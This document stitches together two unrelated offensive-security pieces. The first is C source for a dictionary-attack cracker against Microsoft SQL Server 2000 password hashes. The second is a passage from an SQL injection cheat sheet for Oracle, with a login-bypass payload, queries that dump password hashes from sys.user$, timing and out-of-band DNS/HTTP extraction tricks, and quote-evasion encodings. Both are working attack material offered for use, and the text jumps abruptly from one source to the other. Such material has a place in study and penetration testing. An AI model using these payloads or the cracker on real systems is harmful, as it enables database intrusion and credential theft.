///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield ([email protected])\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }
- SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
- All SELECT statements in Oracle must contain a table.
-
dual
is a dummy table which can be used for testing.
Oracle
Default Databases
SYSTEM | Available in all versions |
SYSAUX | Available in all versions |
Comment Out Query
The following can be used to comment out the rest of the query after your injection:
-- | SQL comment |
Example:
Testing Version
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; |
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; |
SELECT version FROM v$instance; |
Notes:
Database Credentials
SELECT username FROM all_users; | Available on all versions |
SELECT name, password from sys.user$; | Privileged, <= 10g |
SELECT name, spare4 from sys.user$; | Privileged, <= 11g |
Database Names
Current Database
SELECT name FROM v$database; |
SELECT instance_name FROM v$instance |
SELECT global_name FROM global_name |
SELECT SYS.DATABASE_NAME FROM DUAL |
User Databases
SELECT DISTINCT owner FROM all_tables; |
Server Hostname
SELECT host_name FROM v$instance; (Privileged) |
SELECT UTL_INADDR.get_host_name FROM dual; |
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; |
SELECT UTL_INADDR.get_host_address FROM dual; |
Tables and Columns
Retrieving Tables
SELECT table_name FROM all_tables; |
Retrieving Columns
SELECT column_name FROM all_tab_columns; |
Find Tables from Column Name
SELECT column_name FROM all_tab_columns WHERE table_name = 'Users'; |
Find Columns From Table Name
SELECT table_name FROM all_tab_tables WHERE column_name = 'password'; |
Retrieving Multiple Tables at once
SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables; |
Avoiding the use of quotations
Unlike other RDBMS, Oracle allows table/column names to be encoded.
SELECT 0x09120911091 FROM dual; | Hex Encoding. |
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; | CHR() Function. |
String Concatenation
SELECT 'a'||'d'||'mi'||'n' FROM dual; |
Conditional Statements
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual |
Timing
Time Delay
SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual; |
Heavy Time Delays
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1)); |
Privileges
SELECT privilege FROM session_privs; |
SELECT grantee, granted_role FROM dba_role_privs; (Privileged) |
Out Of Band Channeling
DNS Requests
SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual; |
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual; |
Password Cracking
A Metasploit module for JTR can be found here.
Extras
About
This Knowledge Base was put together and is maintained by Roberto Salgado, Co-Founder of Websec. It is a compilation of books, papers, cheatsheets and testing done by Roberto over the years.
Contact
Please feel free to send any suggestions you may have to @LightOS or e-mail.
Special Thanks
Garrett Hyder | Helped me tremendously with the CSS and some JQuery bugs. |
Johannes Dahse | Helped me create the original version. |
Lisa Richards | Made the tough decisions for me. |
Mario Heiderich | Helped me create the original version. |
Pedro Joaquín | Motivated me to finish this. |
Contributions
Paulino Calderón | Gave me the idea of adding a changelog. |
Alejandro Hernández | Pointed out some missing code for the password crackers. |
Denis Baranov | Contributed with links for Error based methods and Acknowledgements. |
id | Contributed links for the JTR-MSF modules. |
Nurfed | Contributed a method for retrieving multiple tables at once in MSSQL 2005+. |
PenTesticles | Minor correction to MSSQL xp_cmdshell. |
Ryan Barnett | Brought to my attention an extra method for WAITFOR timing in MSSQL. |
Spari | Contributed a huge list of neat tricks. |
Rafay Baloch | Contributed an alternative method for retrieving column count in MySQL. |
Acknowledgements
Hackforums | A method for retrieving multiple tables/columns at once. |
RDot | A lot of the error based vectors originated from this site. |